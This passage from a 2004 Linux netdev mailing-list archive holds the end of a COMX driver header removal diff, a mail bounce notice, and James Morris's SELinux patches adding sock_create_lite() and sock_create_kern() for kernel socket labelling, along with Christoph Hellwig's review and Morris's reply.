comx_debug(struct net_device *dev, char *fmt, ...); -extern int comx_debug_skb(struct net_device *dev, struct sk_buff *skb, char *msg); -extern int comx_debug_bytes(struct net_device *dev, unsigned char *bytes, int len, - char *msg); -extern int comx_strcasecmp(const char *cs, const char *ct); - -extern struct inode_operations comx_normal_inode_ops; ===== drivers/net/wan/comxhw.h 1.1 vs edited ===== --- 1.1/drivers/net/wan/comxhw.h Tue Feb 5 18:40:01 2002 +++ edited/drivers/net/wan/comxhw.h Fri May 7 13:05:54 2004 @@ -1,113 +1 @@ -/* - * Defines for comxhw.c - * - * Original authors: Arpad Bakay , - * Peter Bajan , - * Previous maintainer: Tivadar Szemethy - * Current maintainer: Gergely Madarasz - * - * Copyright (C) 1995-1999 ITConsult-Pro Co. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License - * as published by the Free Software Foundation; either version - * 2 of the License, or (at your option) any later version. - * - */ - -#define LOCOMX_IO_EXTENT 8 -#define COMX_IO_EXTENT 4 -#define HICOMX_IO_EXTENT 16 - -#define COMX_MAX_TX_SIZE 1600 -#define COMX_MAX_RX_SIZE 2048 - -#define COMX_JAIL_OFFSET 0xffff -#define COMX_JAIL_VALUE 0xfe -#define COMX_MEMORY_SIZE 65536 -#define HICOMX_MEMORY_SIZE 16384 -#define COMX_MEM_MIN 0xa0000 -#define COMX_MEM_MAX 0xf0000 - -#define COMX_DEFAULT_IO 0x360 -#define COMX_DEFAULT_IRQ 10 -#define COMX_DEFAULT_MEMADDR 0xd0000 -#define HICOMX_DEFAULT_IO 0x320 -#define HICOMX_DEFAULT_IRQ 10 -#define HICOMX_DEFAULT_MEMADDR 0xd0000 -#define LOCOMX_DEFAULT_IO 0x368 -#define LOCOMX_DEFAULT_IRQ 7 - -#define MAX_CHANNELNO 2 - -#define COMX_CHANNEL_OFFSET 0x2000 - -#define COMX_ENABLE_BOARD_IT 0x40 -#define COMX_BOARD_RESET 0x20 -#define COMX_ENABLE_BOARD_MEM 0x10 -#define COMX_DISABLE_BOARD_MEM 0 -#define COMX_DISABLE_ALL 0x00 - -#define HICOMX_DISABLE_ALL 0x00 -#define HICOMX_ENABLE_BOARD_MEM 0x02 -#define HICOMX_DISABLE_BOARD_MEM 0x0 -#define HICOMX_BOARD_RESET 0x01 -#define HICOMX_PRG_MEM 4 -#define HICOMX_DATA_MEM 0 -#define HICOMX_ID_BYTE 0x55 - -#define CMX_ID_BYTE 0x31 -#define COMX_CLOCK_CONST 8000 - -#define LINKUP_READY 3 - -#define OFF_FW_L1_ID 0x01e /* ID bytes */ -#define OFF_FW_L2_ID 0x1006 -#define FW_L1_ID_1 0xab -#define FW_L1_ID_2_COMX 0xc0 -#define FW_L1_ID_2_HICOMX 0xc1 -#define FW_L2_ID_1 0xab - -#define OFF_A_L2_CMD 0x130 /* command register for L2 */ -#define OFF_A_L2_CMDPAR 0x131 /* command parameter byte */ -#define OFF_A_L1_STATB 0x122 /* stat. block for L1 */ -#define OFF_A_L1_ABOREC 0x122 /* receive ABORT counter */ -#define OFF_A_L1_OVERRUN 0x123 /* receive overrun counter */ -#define OFF_A_L1_CRCREC 0x124 /* CRC error counter */ -#define OFF_A_L1_BUFFOVR 0x125 /* buffer overrun counter */ -#define OFF_A_L1_PBUFOVR 0x126 /* priority buffer overrun counter */ -#define OFF_A_L1_MODSTAT 0x127 /* current state of modem ctrl lines */ -#define OFF_A_L1_STATE 0x127 /* end of stat. block for L1 */ -#define OFF_A_L1_TXPC 0x128 /* Tx counter for the PC */ -#define OFF_A_L1_TXZ80 0x129 /* Tx counter for the Z80 */ -#define OFF_A_L1_RXPC 0x12a /* Rx counter for the PC */ -#define OFF_A_L1_RXZ80 0x12b /* Rx counter for the Z80 */ -#define OFF_A_L1_REPENA 0x12c /* IT rep disable */ -#define OFF_A_L1_CHNR 0x12d /* L1 channel logical number */ -#define OFF_A_L1_CLKINI 0x12e /* Timer Const */ -#define OFF_A_L2_LINKUP 0x132 /* Linkup byte */ -#define OFF_A_L2_DAV 0x134 /* Rx DAV */ -#define OFF_A_L2_RxBUFP 0x136 /* Rx buff relative to membase */ -#define OFF_A_L2_TxEMPTY 0x138 /* Tx Empty */ -#define OFF_A_L2_TxBUFP 0x13a /* Tx Buf */ -#define OFF_A_L2_NBUFFS 0x144 /* Number of buffers to fetch */ - -#define OFF_A_L2_SABMREC 0x164 /* LAPB no. of SABMs received */ -#define OFF_A_L2_SABMSENT 0x165 /* LAPB no. of SABMs sent */ -#define OFF_A_L2_REJREC 0x166 /* LAPB no. of REJs received */ -#define OFF_A_L2_REJSENT 0x167 /* LAPB no. of REJs sent */ -#define OFF_A_L2_FRMRREC 0x168 /* LAPB no. of FRMRs received */ -#define OFF_A_L2_FRMRSENT 0x169 /* LAPB no. of FRMRs sent */ -#define OFF_A_L2_PROTERR 0x16A /* LAPB no. of protocol errors rec'd */ -#define OFF_A_L2_LONGREC 0x16B /* LAPB no. of long frames */ -#define OFF_A_L2_INVNR 0x16C /* LAPB no. of invalid N(R)s rec'd */ -#define OFF_A_L2_UNDEFFR 0x16D /* LAPB no. of invalid frames */ - -#define OFF_A_L2_T1 0x174 /* T1 timer */ -#define OFF_A_L2_ADDR 0x176 /* DCE = 1, DTE = 3 */ - -#define COMX_CMD_INIT 1 -#define COMX_CMD_EXIT 2 -#define COMX_CMD_OPEN 16 -#define COMX_CMD_CLOSE 17 From dbmail@vmail.unina.it Fri May 7 06:45:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 07 May 2004 06:45:21 -0700 (PDT) Received: from vmail.unina.it (vmail.unina.it [192.132.34.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i47DjIKO007464 for ; Fri, 7 May 2004 06:45:18 -0700 Received: by vmail.unina.it (Postfix, from userid 202) id 279D8FF8E; Fri, 7 May 2004 15:44:32 +0200 (CEST) From: dbmail-bounce@dbmail.org To: netdev@oss.sgi.com Subject: DBMAIL: delivery failure Message-Id: <20040507134432.279D8FF8E@vmail.unina.it> Date: Fri, 7 May 2004 15:44:32 +0200 (CEST) X-archive-position: 5042 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dbmail-bounce@dbmail.org Precedence: bulk X-list: netdev This is the DBMAIL-SMTP program. I'm sorry to inform you that your message, addressed to hostmaster@it.freebsd.org, could not be delivered due to the following error. *** E-mail address hostmaster@it.freebsd.org is not known here. *** If you think this message is incorrect please contact dbmail@dbmail.org. Header of your message follows... --- header of your message --- Received: from it.freebsd.org (pD9E7CAB5.dip0.t-ipconnect.de [217.231.202.181]) by vmail.unina.it (Postfix) with ESMTP id 05F9010004 for ; Fri, 7 May 2004 15:44:27 +0200 (CEST) From: netdev@oss.sgi.com To: hostmaster@it.freebsd.org Subject: Hello Date: Fri, 7 May 2004 15:45:18 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <20040507134428.05F9010004@vmail.unina.it> --- end of header --- From jmorris@redhat.com Fri May 7 08:06:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 07 May 2004 08:06:31 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i47F6BKO009175 for ; Fri, 7 May 2004 08:06:11 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i47F680m020343; Fri, 7 May 2004 11:06:08 -0400 Received: from mail.boston.redhat.com (mail.boston.redhat.com [172.16.64.12]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i47F66v02143; Fri, 7 May 2004 11:06:06 -0400 Received: from thoron.boston.redhat.com (thoron.boston.redhat.com [172.16.65.238]) by mail.boston.redhat.com (8.12.8/8.12.8) with ESMTP id i47F64ex023916; Fri, 7 May 2004 11:06:04 -0400 Date: Fri, 7 May 2004 11:06:04 -0400 (EDT) From: James Morris X-X-Sender: jmorris@thoron.boston.redhat.com To: "David S. Miller" cc: Stephen Smalley , Chris Wright , , , Subject: [PATCH][SELINUX] 2/2 sock_create_lite() In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5043 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@redhat.com Precedence: bulk X-list: netdev This patch adds a function sock_create_lite(), deprecating kernel-wide use of sock_alloc(), which has been made static to net/socket.c. The purpose of this is to allow sockets created by the kernel in this way to be passed through the LSM socket creation hooks and be labeled and mediated in the same manner as other sockets. This patches addresses a class of potential issues with LSMs, where such sockets will not be labeled correctly (if at all), or mediated during creation. Under SELinux, it fixes a specific bug where RPC sockets created by the kernel during TCP NFS serving are unlabeled. Again, an equivalent to this patch has been tested in Fedora for several weeks without any issues. Please apply. include/linux/net.h | 4 +++- net/bluetooth/rfcomm/core.c | 6 ++---- net/netlink/af_netlink.c | 4 +--- net/socket.c | 25 +++++++++++++++++++++++-- net/sunrpc/svcsock.c | 10 ++++++---- 5 files changed, 35 insertions(+), 14 deletions(-) diff -urN -X dontdiff linux-2.6.6-rc3-mm2.p/include/linux/net.h linux-2.6.6-rc3-mm2.w/include/linux/net.h --- linux-2.6.6-rc3-mm2.p/include/linux/net.h 2004-05-06 16:59:28.297706040 -0400 +++ linux-2.6.6-rc3-mm2.w/include/linux/net.h 2004-05-06 17:00:31.953028960 -0400 @@ -146,11 +146,13 @@ extern int sock_wake_async(struct socket *sk, int how, int band); extern int sock_register(struct net_proto_family *fam); extern int sock_unregister(int family); -extern struct socket *sock_alloc(void); + extern int sock_create(int family, int type, int proto, struct socket **res); extern int sock_create_kern(int family, int type, int proto, struct socket **res); +extern int sock_create_lite(int family, int type, int proto, + struct socket **res); extern void sock_release(struct socket *sock); extern int sock_sendmsg(struct socket *sock, struct msghdr *msg, size_t len); diff -urN -X dontdiff linux-2.6.6-rc3-mm2.p/net/bluetooth/rfcomm/core.c linux-2.6.6-rc3-mm2.w/net/bluetooth/rfcomm/core.c --- linux-2.6.6-rc3-mm2.p/net/bluetooth/rfcomm/core.c 2004-05-06 16:59:28.308704368 -0400 +++ linux-2.6.6-rc3-mm2.w/net/bluetooth/rfcomm/core.c 2004-05-06 17:01:47.483546576 -0400 @@ -1642,11 +1642,9 @@ BT_DBG("session %p", s); - nsock = sock_alloc(); - if (!nsock) + if (sock_create_lite(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP, &nsock)) return; - - nsock->type = sock->type; + nsock->ops = sock->ops; __module_get(nsock->ops->owner); diff -urN -X dontdiff linux-2.6.6-rc3-mm2.p/net/netlink/af_netlink.c linux-2.6.6-rc3-mm2.w/net/netlink/af_netlink.c --- linux-2.6.6-rc3-mm2.p/net/netlink/af_netlink.c 2004-05-05 11:16:20.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/netlink/af_netlink.c 2004-05-06 17:02:10.679020328 -0400 @@ -833,11 +833,9 @@ if (unit<0 || unit>=MAX_LINKS) return NULL; - if (!(sock = sock_alloc())) + if (sock_create_lite(PF_NETLINK, SOCK_DGRAM, unit, &sock)) return NULL; - sock->type = SOCK_RAW; - if (netlink_create(sock, unit) < 0) { sock_release(sock); return NULL; diff -urN -X dontdiff linux-2.6.6-rc3-mm2.p/net/socket.c linux-2.6.6-rc3-mm2.w/net/socket.c --- linux-2.6.6-rc3-mm2.p/net/socket.c 2004-05-06 16:59:28.380693424 -0400 +++ linux-2.6.6-rc3-mm2.w/net/socket.c 2004-05-06 17:03:28.224231664 -0400 @@ -457,7 +457,7 @@ * NULL is returned. */ -struct socket *sock_alloc(void) +static struct socket *sock_alloc(void) { struct inode * inode; struct socket * sock; @@ -840,6 +840,27 @@ return err; } +int sock_create_lite(int family, int type, int protocol, struct socket **res) +{ + int err; + struct socket *sock = NULL; + + err = security_socket_create(family, type, protocol, 1); + if (err) + goto out; + + sock = sock_alloc(); + if (!sock) { + err = -ENOMEM; + goto out; + } + + security_socket_post_create(sock, family, type, protocol, 1); + sock->type = type; +out: + *res = sock; + return err; +} /* No kernel lock held - perfect */ static unsigned int sock_poll(struct file *file, poll_table * wait) @@ -1997,10 +2018,10 @@ /* ABI emulation layers need these two */ EXPORT_SYMBOL(move_addr_to_kernel); EXPORT_SYMBOL(move_addr_to_user); -EXPORT_SYMBOL(sock_alloc); EXPORT_SYMBOL(sock_alloc_inode); EXPORT_SYMBOL(sock_create); EXPORT_SYMBOL(sock_create_kern); +EXPORT_SYMBOL(sock_create_lite); EXPORT_SYMBOL(sock_map_fd); EXPORT_SYMBOL(sock_recvmsg); EXPORT_SYMBOL(sock_register); diff -urN -X dontdiff linux-2.6.6-rc3-mm2.p/net/sunrpc/svcsock.c linux-2.6.6-rc3-mm2.w/net/sunrpc/svcsock.c --- linux-2.6.6-rc3-mm2.p/net/sunrpc/svcsock.c 2004-05-06 16:59:28.386692512 -0400 +++ linux-2.6.6-rc3-mm2.w/net/sunrpc/svcsock.c 2004-05-06 17:13:31.919456040 -0400 @@ -781,13 +781,15 @@ if (!sock) return; - if (!(newsock = sock_alloc())) { - printk(KERN_WARNING "%s: no more sockets!\n", serv->sv_name); + err = sock_create_lite(PF_INET, SOCK_STREAM, IPPROTO_TCP, &newsock); + if (err) { + if (err == -ENOMEM) + printk(KERN_WARNING "%s: no more sockets!\n", + serv->sv_name); return; } - dprintk("svc: tcp_accept %p allocated\n", newsock); - newsock->type = sock->type; + dprintk("svc: tcp_accept %p allocated\n", newsock); newsock->ops = ops = sock->ops; clear_bit(SK_CONN, &svsk->sk_flags); From hch@infradead.org Fri May 7 08:15:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 07 May 2004 08:15:17 -0700 (PDT) Received: from phoenix.infradead.org (phoenix.infradead.org [213.86.99.234]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i47FF8KO009644 for ; Fri, 7 May 2004 08:15:08 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.30 #5 (Red Hat Linux)) id 1BM73w-00086f-4A; Fri, 07 May 2004 16:14:56 +0100 Date: Fri, 7 May 2004 16:14:56 +0100 From: Christoph Hellwig To: James Morris Cc: "David S. Miller" , Stephen Smalley , Chris Wright , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, selinux@tycho.nsa.gov Subject: Re: [PATCH][SELINUX] 2/2 sock_create_lite() Message-ID: <20040507161455.A31114@infradead.org> Mail-Followup-To: Christoph Hellwig , James Morris , "David S. Miller" , Stephen Smalley , Chris Wright , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, selinux@tycho.nsa.gov References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from jmorris@redhat.com on Fri, May 07, 2004 at 11:06:04AM -0400 X-archive-position: 5044 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: netdev On Fri, May 07, 2004 at 11:06:04AM -0400, James Morris wrote: > This patch adds a function sock_create_lite(), deprecating kernel-wide use > of sock_alloc(), which has been made static to net/socket.c. We're in the stable series and removing exported APIs there shoudn't happen. Given that sock_alloc() is actually okay for every normal use I don't think there's enough reason to remove it from the API. > +int sock_create_lite(int family, int type, int protocol, struct socket **res) Should probably be called __sock_create according to linux naming rules. Also I guess you should actually call it from sock_create instead of duplicating the code. From jmorris@redhat.com Fri May 7 08:22:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 07 May 2004 08:22:07 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i47FM4KO013039 for ; Fri, 7 May 2004 08:22:05 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i47FLt0m025043; Fri, 7 May 2004 11:21:55 -0400 Received: from mail.boston.redhat.com (mail.boston.redhat.com [172.16.64.12]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i47FLrv08367; Fri, 7 May 2004 11:21:53 -0400 Received: from thoron.boston.redhat.com (thoron.boston.redhat.com [172.16.65.238]) by mail.boston.redhat.com (8.12.8/8.12.8) with ESMTP id i47FLqex025142; Fri, 7 May 2004 11:21:52 -0400 Date: Fri, 7 May 2004 11:21:52 -0400 (EDT) From: James Morris X-X-Sender: jmorris@thoron.boston.redhat.com To: Christoph Hellwig cc: "David S. Miller" , Stephen Smalley , Chris Wright , , , Subject: Re: [PATCH][SELINUX] 2/2 sock_create_lite() In-Reply-To: <20040507161455.A31114@infradead.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5045 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@redhat.com Precedence: bulk X-list: netdev On Fri, 7 May 2004, Christoph Hellwig wrote: > On Fri, May 07, 2004 at 11:06:04AM -0400, James Morris wrote: > > This patch adds a function sock_create_lite(), deprecating kernel-wide use > > of sock_alloc(), which has been made static to net/socket.c. > > We're in the stable series and removing exported APIs there shoudn't happen. > Given that sock_alloc() is actually okay for every normal use I don't think > there's enough reason to remove it from the API. Fair enough. > > +int sock_create_lite(int family, int type, int protocol, struct socket **res) > > Should probably be called __sock_create according to linux naming rules. > Also I guess you should actually call it from sock_create instead of > duplicating the code. sock_create() is really very different to sock_alloc(), and the only real duplication is calling the LSM hooks. The version I sent seems to be the simplest approach. (note that __sock_create() is already created in the previous patch). - James -- James Morris From jmorris@redhat.com Fri May 7 10:16:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 07 May 2004 10:17:03 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i47HGqKO016669 for ; Fri, 7 May 2004 10:16:52 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i47F5D0m020046; Fri, 7 May 2004 11:05:14 -0400 Received: from mail.boston.redhat.com (mail.boston.redhat.com [172.16.64.12]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i47F5Bv01644; Fri, 7 May 2004 11:05:11 -0400 Received: from thoron.boston.redhat.com (thoron.boston.redhat.com [172.16.65.238]) by mail.boston.redhat.com (8.12.8/8.12.8) with ESMTP id i47F5Aex023777; Fri, 7 May 2004 11:05:10 -0400 Date: Fri, 7 May 2004 11:05:10 -0400 (EDT) From: James Morris X-X-Sender: jmorris@thoron.boston.redhat.com To: "David S. Miller" cc: Stephen Smalley , Chris Wright , , , Subject: [PATCH][SELINUX] 1/2 sock_create_kern() Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5046 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@redhat.com Precedence: bulk X-list: netdev The patch below adds a function sock_create_kern() for use when the kernel creates sockets for its own use. Under SELinux, and potentially other LSMs, we need to be able to distinguish between user sockets and kernel sockets. For SELinux specifically, kernel sockets need to be specially labeled during creation, then bypass access control checks (they are controlled by the kernel itself and not subject to SELinux mediation). This addresses a class of potential issues in SELinux where, for example, a TCP NFS session times out, then the kernel re-establishes an RPC connection upon further user activity. We do not want such kernel created sockets to be labeled with user security contexts. sock_create() and sock_create_kern() are wrapper functions, which seems semantically clearer to me than e.g. adding a flag to sock_create(). If you prefer the latter, then let me know. The patch also adds an argument to the LSM socket creation functions indicating whether the socket being created is a kernel socket or not. An equivalent patch has been in testing in Fedora for several weeks without incident. Please apply. fs/cifs/connect.c | 4 ++-- include/linux/net.h | 2 ++ include/linux/security.h | 21 +++++++++++++-------- net/bluetooth/rfcomm/core.c | 3 ++- net/econet/af_econet.c | 2 +- net/ipv4/icmp.c | 4 ++-- net/ipv4/ipvs/ip_vs_sync.c | 4 ++-- net/ipv4/tcp_ipv4.c | 2 +- net/ipv6/icmp.c | 4 ++-- net/ipv6/mcast.c | 2 +- net/ipv6/ndisc.c | 2 +- net/netlink/netlink_dev.c | 2 +- net/rxrpc/transport.c | 2 +- net/sctp/protocol.c | 4 ++-- net/socket.c | 18 ++++++++++++++---- net/sunrpc/svcsock.c | 2 +- net/sunrpc/xprt.c | 2 +- security/dummy.c | 5 +++-- security/selinux/hooks.c | 21 +++++++++++++++------ 19 files changed, 67 insertions(+), 39 deletions(-) diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/fs/cifs/connect.c linux-2.6.6-rc3-mm2.w/fs/cifs/connect.c --- linux-2.6.6-rc3-mm2.o/fs/cifs/connect.c 2004-05-05 11:16:19.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/fs/cifs/connect.c 2004-05-06 14:48:16.000000000 -0400 @@ -900,7 +900,7 @@ unsigned short int orig_port = 0; if(*csocket == NULL) { - rc = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP, csocket); + rc = sock_create_kern(PF_INET, SOCK_STREAM, IPPROTO_TCP, csocket); if (rc < 0) { cERROR(1, ("Error %d creating socket",rc)); *csocket = NULL; @@ -1007,7 +1007,7 @@ int connected = 0; if(*csocket == NULL) { - rc = sock_create(PF_INET6, SOCK_STREAM, IPPROTO_TCP, csocket); + rc = sock_create_kern(PF_INET6, SOCK_STREAM, IPPROTO_TCP, csocket); if (rc < 0) { cERROR(1, ("Error %d creating ipv6 socket",rc)); *csocket = NULL; diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/include/linux/net.h linux-2.6.6-rc3-mm2.w/include/linux/net.h --- linux-2.6.6-rc3-mm2.o/include/linux/net.h 2004-02-04 08:39:06.000000000 -0500 +++ linux-2.6.6-rc3-mm2.w/include/linux/net.h 2004-05-06 17:25:08.440568736 -0400 @@ -149,6 +149,8 @@ extern struct socket *sock_alloc(void); extern int sock_create(int family, int type, int proto, struct socket **res); +extern int sock_create_kern(int family, int type, int proto, + struct socket **res); extern void sock_release(struct socket *sock); extern int sock_sendmsg(struct socket *sock, struct msghdr *msg, size_t len); diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/include/linux/security.h linux-2.6.6-rc3-mm2.w/include/linux/security.h --- linux-2.6.6-rc3-mm2.o/include/linux/security.h 2004-04-29 10:03:52.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/include/linux/security.h 2004-05-06 16:06:22.000000000 -0400 @@ -680,6 +680,7 @@ * @family contains the requested protocol family. * @type contains the requested communications type. * @protocol contains the requested protocol. + * @kern set to 1 if a kernel socket. * Return 0 if permission is granted. * @socket_post_create: * This hook allows a module to update or allocate a per-socket security @@ -694,6 +695,7 @@ * @family contains the requested protocol family. * @type contains the requested communications type. * @protocol contains the requested protocol. + * @kern set to 1 if a kernel socket. * @socket_bind: * Check permission before socket protocol layer bind operation is * performed and the socket @sock is bound to the address specified in the @@ -1198,9 +1200,9 @@ struct socket * other, struct sock * newsk); int (*unix_may_send) (struct socket * sock, struct socket * other); - int (*socket_create) (int family, int type, int protocol); + int (*socket_create) (int family, int type, int protocol, int kern); void (*socket_post_create) (struct socket * sock, int family, - int type, int protocol); + int type, int protocol, int kern); int (*socket_bind) (struct socket * sock, struct sockaddr * address, int addrlen); int (*socket_connect) (struct socket * sock, @@ -2526,17 +2528,19 @@ return security_ops->unix_may_send(sock, other); } -static inline int security_socket_create (int family, int type, int protocol) +static inline int security_socket_create (int family, int type, + int protocol, int kern) { - return security_ops->socket_create(family, type, protocol); + return security_ops->socket_create(family, type, protocol, kern); } static inline void security_socket_post_create(struct socket * sock, int family, int type, - int protocol) + int protocol, int kern) { - security_ops->socket_post_create(sock, family, type, protocol); + security_ops->socket_post_create(sock, family, type, + protocol, kern); } static inline int security_socket_bind(struct socket * sock, @@ -2645,7 +2649,8 @@ return 0; } -static inline int security_socket_create (int family, int type, int protocol) +static inline int security_socket_create (int family, int type, + int protocol, int kern) { return 0; } @@ -2653,7 +2658,7 @@ static inline void security_socket_post_create(struct socket * sock, int family, int type, - int protocol) + int protocol, int kern) { } diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/net/bluetooth/rfcomm/core.c linux-2.6.6-rc3-mm2.w/net/bluetooth/rfcomm/core.c --- linux-2.6.6-rc3-mm2.o/net/bluetooth/rfcomm/core.c 2004-04-29 10:03:52.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/bluetooth/rfcomm/core.c 2004-05-06 17:25:08.442568432 -0400 @@ -158,7 +158,8 @@ BT_DBG(""); - err = sock_create(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP, sock); + err = sock_create_kern(PF_BLUETOOTH, SOCK_SEQPACKET, + BTPROTO_L2CAP, sock); if (!err) { struct sock *sk = (*sock)->sk; sk->sk_data_ready = rfcomm_l2data_ready; diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/net/econet/af_econet.c linux-2.6.6-rc3-mm2.w/net/econet/af_econet.c --- linux-2.6.6-rc3-mm2.o/net/econet/af_econet.c 2004-04-29 10:03:52.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/econet/af_econet.c 2004-05-06 16:05:27.000000000 -0400 @@ -976,7 +976,7 @@ /* We can count ourselves lucky Acorn machines are too dim to speak IPv6. :-) */ - if ((error = sock_create(PF_INET, SOCK_DGRAM, 0, &udpsock)) < 0) + if ((error = sock_create_kern(PF_INET, SOCK_DGRAM, 0, &udpsock)) < 0) { printk("AUN: socket error %d\n", -error); return error; diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/net/ipv4/icmp.c linux-2.6.6-rc3-mm2.w/net/ipv4/icmp.c --- linux-2.6.6-rc3-mm2.o/net/ipv4/icmp.c 2004-04-29 10:03:52.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/ipv4/icmp.c 2004-05-06 14:50:55.000000000 -0400 @@ -1108,8 +1108,8 @@ if (!cpu_possible(i)) continue; - err = sock_create(PF_INET, SOCK_RAW, IPPROTO_ICMP, - &per_cpu(__icmp_socket, i)); + err = sock_create_kern(PF_INET, SOCK_RAW, IPPROTO_ICMP, + &per_cpu(__icmp_socket, i)); if (err < 0) panic("Failed to create the ICMP control socket.\n"); diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/net/ipv4/ipvs/ip_vs_sync.c linux-2.6.6-rc3-mm2.w/net/ipv4/ipvs/ip_vs_sync.c --- linux-2.6.6-rc3-mm2.o/net/ipv4/ipvs/ip_vs_sync.c 2004-03-11 09:13:23.000000000 -0500 +++ linux-2.6.6-rc3-mm2.w/net/ipv4/ipvs/ip_vs_sync.c 2004-05-06 14:50:00.000000000 -0400 @@ -480,7 +480,7 @@ struct socket *sock; /* First create a socket */ - if (sock_create(PF_INET, SOCK_DGRAM, IPPROTO_UDP, &sock) < 0) { + if (sock_create_kern(PF_INET, SOCK_DGRAM, IPPROTO_UDP, &sock) < 0) { IP_VS_ERR("Error during creation of socket; terminating\n"); return NULL; } @@ -521,7 +521,7 @@ struct socket *sock; /* First create a socket */ - if (sock_create(PF_INET, SOCK_DGRAM, IPPROTO_UDP, &sock) < 0) { + if (sock_create_kern(PF_INET, SOCK_DGRAM, IPPROTO_UDP, &sock) < 0) { IP_VS_ERR("Error during creation of socket; terminating\n"); return NULL; } diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/net/ipv4/tcp_ipv4.c linux-2.6.6-rc3-mm2.w/net/ipv4/tcp_ipv4.c --- linux-2.6.6-rc3-mm2.o/net/ipv4/tcp_ipv4.c 2004-05-05 11:16:20.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/ipv4/tcp_ipv4.c 2004-05-06 14:50:22.000000000 -0400 @@ -2609,7 +2609,7 @@ void __init tcp_v4_init(struct net_proto_family *ops) { - int err = sock_create(PF_INET, SOCK_RAW, IPPROTO_TCP, &tcp_socket); + int err = sock_create_kern(PF_INET, SOCK_RAW, IPPROTO_TCP, &tcp_socket); if (err < 0) panic("Failed to create the TCP control socket.\n"); tcp_socket->sk->sk_allocation = GFP_ATOMIC; diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/net/ipv6/icmp.c linux-2.6.6-rc3-mm2.w/net/ipv6/icmp.c --- linux-2.6.6-rc3-mm2.o/net/ipv6/icmp.c 2004-05-05 11:16:20.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/ipv6/icmp.c 2004-05-06 15:02:34.000000000 -0400 @@ -682,8 +682,8 @@ if (!cpu_possible(i)) continue; - err = sock_create(PF_INET6, SOCK_RAW, IPPROTO_ICMPV6, - &per_cpu(__icmpv6_socket, i)); + err = sock_create_kern(PF_INET6, SOCK_RAW, IPPROTO_ICMPV6, + &per_cpu(__icmpv6_socket, i)); if (err < 0) { printk(KERN_ERR "Failed to initialize the ICMP6 control socket " diff -urN -X dontdiff linux-2.6.6-rc3-mm2.o/net/ipv6/mcast.c linux-2.6.6-rc3-mm2.w/net/ipv6/mcast.c --- linux-2.6.6-rc3-mm2.o/net/ipv6/mcast.c 2004-04-29 10:03:53.000000000 -0400 +++ linux-2.6.6-rc3-mm2.w/net/ipv6/mcast.c 2004-05-06 15:03:39.000000000 -0400 @@ -2452,7 +2452,7 @@ struct sock *sk; int err; 